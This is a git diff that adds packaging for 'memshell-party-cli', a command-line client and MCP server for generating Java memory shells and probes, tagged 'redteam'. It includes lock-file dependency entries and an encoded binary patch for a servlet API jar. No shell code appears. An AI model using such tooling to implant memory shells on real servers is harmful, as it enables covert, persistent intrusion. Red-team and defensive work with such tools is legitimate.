"sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/vitest": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-2.1.9.tgz", + "integrity": "sha512-MSmPM9REYqDGBI8439mA4mWhV5sKmDlBKWIYbA3lRb2PTHACE0mgKwA8yQ2xq9vxDTuk4iPrECBAEW2aoFXY0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "2.1.9", + "@vitest/mocker": "2.1.9", + "@vitest/pretty-format": "^2.1.9", + "@vitest/runner": "2.1.9", + "@vitest/snapshot": "2.1.9", + "@vitest/spy": "2.1.9", + "@vitest/utils": "2.1.9", + "chai": "^5.1.2", + "debug": "^4.3.7", + "expect-type": "^1.1.0", + "magic-string": "^0.30.12", + "pathe": "^1.1.2", + "std-env": "^3.8.0", + "tinybench": "^2.9.0", + "tinyexec": "^0.3.1", + "tinypool": "^1.0.1", + "tinyrainbow": "^1.2.0", + "vite": "^5.0.0", + "vite-node": "2.1.9", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@types/node": "^18.0.0 || >=20.0.0", + "@vitest/browser": "2.1.9", + "@vitest/ui": "2.1.9", + "happy-dom": "*", + "jsdom": "*" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + } + } + }, + "node_modules/vitest/node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz", + "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/yoctocolors-cjs": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/yoctocolors-cjs/-/yoctocolors-cjs-2.1.3.tgz", + "integrity": "sha512-U/PBtDf35ff0D8X8D0jfdzHYEPFxAI7jJlxZXwCSez5M3190m+QobIfh+sWDWSHMCWWJN2AWamkegn6vr6YBTw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "3.25.76", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", + "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zod-to-json-schema": { + "version": "3.25.2", + "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", + "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", + "license": "ISC", + "peerDependencies": { + "zod": "^3.25.28 || ^4" + } + } + } +} diff --git a/tools/cli/package.json b/tools/cli/package.json new file mode 100644 index 00000000..01adf121 --- /dev/null +++ b/tools/cli/package.json @@ -0,0 +1,52 @@ +{ + "name": "memshell-party-cli", + "version": "0.6.0", + "description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.", + "keywords": [ + "memshell", + "memshellparty", + "security", + "redteam", + "cli", + "mcp", + "java" + ], + "type": "module", + "bin": { + "memparty": "dist/cli.js" + }, + "files": [ + "dist", + "resources", + "skills", + "README.md", + "README.en.md", + "LICENSE" + ], + "engines": { + "node": ">=18" + }, + "scripts": { + "build": "tsup", + "dev": "tsup --watch", + "test": "vitest run", + "test:watch": "vitest", + "typecheck": "tsc --noEmit", + "start": "node dist/cli.js", + "prepublishOnly": "npm run build" + }, + "dependencies": { + "@inquirer/prompts": "^7.2.1", + "@modelcontextprotocol/sdk": "^1.12.1", + "commander": "^12.1.0", + "iconv-lite": "^0.7.3", + "zod": "^3.24.1" + }, + "devDependencies": { + "@types/node": "^22.10.2", + "tsup": "^8.3.5", + "typescript": "^5.7.2", + "vitest": "^2.1.8" + }, + "license": "MIT" +} diff --git a/tools/cli/resources/javax.servlet-api-3.1.0.jar b/tools/cli/resources/javax.servlet-api-3.1.0.jar new file mode 100644 index 0000000000000000000000000000000000000000..6b14c3d267867e76c04948bb31b3de18e01412ee GIT binary patch literal 95806 zcmb5Vb98OnvOS!go$MXkwr$(CZQHhO+qUiO*tTu#@XNV+=brn1_q8vr&8+pum~G8b z)vKyk^)Y3{zXO2*{P7nRl*;$FFaP)l`t>O(sK84pDkVfM^N(d90FhtIdS~5#?S2CQ zXaWKNK=|`ANnR;YAwhWsDoLSC1xfpK8kkOVp-nca=OF|^5Fws%8FD+wuIl9o@;^250ig|d$005us>|4JEi*hDR4o^8&PM*=S|Kr~{JHF`iu zz|uD&5o!c^A}=96bymj~v+r26lmSN`m0h2$C^=pjGeY z>f!ip3(@_tJKM+3?|q99&rRIMH)vA&!+09d0z*~Yz>RE^OKtm1K@6C}W(V~|i=2JL zo9WVJ*9dL5gKLn^;PK_cuwFVSoh)xp&%IY><@nK`)!)^z9vi=Rp7Z5~v@mQdF)G5h zSP=s^l@%;_l>}O1b~=59CIv-87y8t1x4_2^r9BJ%*H@ zX|CSMUa#�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 